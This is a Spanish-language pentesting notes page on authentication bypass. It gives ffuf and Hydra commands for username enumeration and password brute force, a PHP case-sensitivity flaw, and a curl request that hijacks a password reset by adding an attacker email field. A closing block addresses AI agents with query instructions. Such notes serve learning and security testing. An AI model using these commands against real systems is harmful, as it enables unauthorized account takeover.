# Authentication Bypass

## Username Enumeration

En un panel login nos podemos encontrar que queremos enumerar los usuarios posibles del sistema, una manera es por ejemplo es probando con admin de crear una cuenta con ese mismo usuario, nos dirá en principio que ese usuario ya existe, vamos a utilizar la herramienta ffuf para fuzzear con el código de error que nos ha dado y ver si existen o no X usuarios.

```
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://example.com/path/to/signup -mr "frase del error de error" (username already exists)
```

| Parametro | Descripción                                                                                                   |
| --------- | ------------------------------------------------------------------------------------------------------------- |
| -X        | Método HTTP que se usa (GET-POST etc)                                                                         |
| -d        | Data POST                                                                                                     |
| -H        | Cabecera de la petición                                                                                       |
| -mr       | Que coincida con la expresión regular, en este caso el código de error del fallido del intento de registrarte |

{% embed url="<https://github.com/ffuf/ffuf>" %}

## Fuerza Bruta

### Fuff

Vamos a realizar fuerza bruta en un panel de login con ffuf, tenemos que crear un archivo con usuarios validos del sistema que sepamos que existe.&#x20;

```
ffuf -w usuarios_validos.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://<IP>/path/to/login -fc 200
```

| Parámetro                          | Descripción                                                                                                                                                      |
| ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| -fs                                | No mostrar paquete de X tamaño                                                                                                                                   |
| -H                                 | Poner cabecera \[-H "Host: FUZZ.example-com"] o \[-H 'Content-Type: application/x-www-form-urlencoded'] Para que nos tome como fiables el petición y no rechace. |
| -w wordlist.txt:W1,wordlist.txt:W2 | Podemos especificar con W1 y W2 más de 1 wordlist                                                                                                                |
| -X                                 | Especificar que queremos que haga fuzzing de parámetros POST \[Ejemplo: -X POST -d "username=admin\\\&password=FUZZ""                                            |
| -d                                 | Datos POST (-d "username=admin\\\&password=FUZZ") o \[-d "username=W1\\\&password=W2")]                                                                          |

### Hydra

```
hydra -l <user> -P /usr/share/wordlists/rockyou.txt "http-post-form://path/to/login:peticion_por_post_login_user:mensaje_error" -t 20
```

| Parámetro   | Descripción                                            |
| ----------- | ------------------------------------------------------ |
| -l          | Le establecemos el usuario                             |
| -P          | Le establecemos la wordlist para que haga fuerza bruta |
| -t \<hilos> | Cuantas tareas en paralelo queremos que haya           |

#### Ejemplo

```
hydra -l j4ckie -P /usr/share/wordlists/rockyou.txt "http-post-form://192.168.138.141/webmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect." -t 20
```

#### Ejemplo https

```
hydra 10.10.10.43 -l j4ckie -P /usr/share/wordlists/rockyou.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password." -t 20
```

## Bypass Login

Ejemplo de falla lógica<br>

El siguiente ejemplo de código simulado verifica si el inicio de la ruta que el cliente está visitando comienza con /admin y, de ser así, se realizan más verificaciones para ver si el cliente es, de hecho, un administrador. Si la página no comienza con /admin, la página se muestra al cliente.<br>

```php
if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}
```

<br>

Debido a que el ejemplo de código PHP anterior usa tres signos de igual (===), está buscando una coincidencia exacta en la cadena, incluidas las mismas mayúsculas y minúsculas. El código presenta una falla lógica porque un usuario no autenticado que solicita **/adMin** no tendrá sus privilegios verificados y se le mostrará la página, omitiendo totalmente las verificaciones de autenticación.

### Reset password

Imaginad que estamos en un panel de login, tenemos el usuario pero no la contraseña,  si vemos que cuando le damos a reset password nos pide que le demos un:

* Email

Con curl podriamos hacer la petición cambiando los parametros, los cuales serían que el mail sea el nuestro y así tener acceso al reset de la password.

En el segundo paso del proceso de restablecimiento de correo electrónico, el nombre de usuario se envía en un campo POST al servidor web y la dirección de correo electrónico se envía en la solicitud de cadena de consulta como un campo GET.<br>

Ilustremos esto usando la herramienta curl para realizar manualmente la solicitud al servidor web.

```
curl 'http://<IP>/path/to/reset?email=<namemail>%40<dominiomail>' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=<usuario>'
```

Usamos el parámetro -H para agregar un encabezado adicional a la solicitud. En este caso, estamos configurando el `Content-Type`a `application/x-www-form-urlencoded`, que le permite al servidor web saber que estamos enviando datos de formulario para que entienda correctamente nuestra solicitud.<br>

En la aplicación, la cuenta de usuario se recupera utilizando la cadena de consulta, pero más tarde, en la lógica de la aplicación, el correo electrónico de restablecimiento de contraseña se envía utilizando los datos que se encuentran en la PHP variable `$_REQUEST`.

El PHP `$_REQUEST`variable es una matriz que contiene datos recibidos de la cadena de consulta y datos POST. Si se usa el mismo nombre de clave tanto para la cadena de consulta como para los datos POST, la lógica de la aplicación para esta variable favorece los campos de datos POST en lugar de la cadena de consulta, por lo que si agregamos otro parámetro al formulario POST, podemos controlar dónde se restablece la contraseña. el correo electrónico se entrega.

Ahora viene lo bueno, cambiamos la solicitud para que nos envie el reset password a nosotros.

```
curl 'http://<IP>/path/to/reset?email=<emailorginal>%40<dominiomail>' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=<usuario>&email=<atacante@j4ckie.com''
```

Si todo a ido bien, deberiamos tener en nuestro correo el reset de password.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/authentication-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
